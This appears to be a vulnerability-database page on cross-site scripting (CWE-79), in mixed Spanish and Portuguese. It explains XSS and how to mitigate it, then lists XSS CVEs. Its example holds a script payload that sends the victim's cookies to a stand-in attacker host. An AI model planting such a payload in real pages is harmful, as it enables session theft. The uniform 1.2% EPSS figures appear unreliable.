Fallos del tipo CWE-79

30.669 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-104252CRITICALVitess vttablet /twopcz reflected XSSEPSS 1.2%CVE-2023-30210MEDIUMOURPHP <= 7.2.0 is vulnerable to Cross Site Scripting (XSS) via ourphp_tz.php.EPSS 1.2%CVE-2021-24234—Ivory Search < 4.6.1 - Reflected Cross Site Scripting (XSS)EPSS 1.2%CVE-2022-43718MEDIUMApache Superset: Cross-Site Scripting vulnerability on upload formsEPSS 1.2%CVE-2023-37581—Apache Roller: Roller's weblog category, weblog settings and file-upload features did not properly sanitize input could be exploited to perform Reflected Cross Site Scripting (XSS) even on a Roller site configured for untrusted users.EPSS 1.2%CVE-2019-5422—XSS in buttle npm package version 0.2.0 causes execution of attacker-provided code in the victim's browser when an attacker creates an arbitEPSS 1.2%CVE-2024-52943MEDIUMAn issue was discovered in Veritas Enterprise Vault before 15.1 UPD882911, ZDI-CAN-24697. It allows an authenticated remote attacker to injeEPSS 1.2%CVE-2017-6611—A vulnerability in the web framework code of Cisco Prime Infrastructure 2.2(2) could allow an unauthenticated, remote attacker to conduct a EPSS 1.2%CVE-2020-26210HIGHCross-Site Scripting in BookStackEPSS 1.2%CVE-2021-42363MEDIUMPreview E-Mails for WooCommerce <= 1.6.8 Reflected Cross-Site ScriptingEPSS 1.2%CVE-2026-67189MEDIUMpfSense Plus/CE Stored XSS via Traffic Graphs PTR RecordEPSS 1.2%CVE-2017-16017—sanitize-html is a library for scrubbing html input for malicious values Versions 1.2.2 and below have a cross site scripting vulnerability.EPSS 1.2%CVE-2023-1094HIGHMonicaHQ version 4.0.0 allows an authenticated remote attacker to execute malicious code in the application via CSTI in the `people:id/food`EPSS 1.2%CVE-2026-49069HIGHWordPress WPZOOM Portfolio plugin <= 1.4.21 - Cross Site Scripting (XSS) vulnerabilityEPSS 1.2%CVE-2019-11281LOWRabbitMQ XSS attackEPSS 1.2%CVE-2024-21911MEDIUMCross-site scripting vulnerability in TinyMCEEPSS 1.2%CVE-2022-0879—Caldera Forms < 1.9.7 - Reflected Cross-Site ScriptingEPSS 1.2%CVE-2022-43167MEDIUMA stored cross-site scripting (XSS) vulnerability in the Users Alerts feature (/index.php?module=users_alerts/users_alerts) of Rukovoditel vEPSS 1.2%CVE-2022-1906—Copyright Proof <= 4.16 - Reflected Cross-Site-ScriptingEPSS 1.2%CVE-2023-25727MEDIUMIn phpMyAdmin before 4.9.11 and 5.x before 5.2.1, an authenticated user can trigger XSS by uploading a crafted .sql file through the drag-anEPSS 1.2%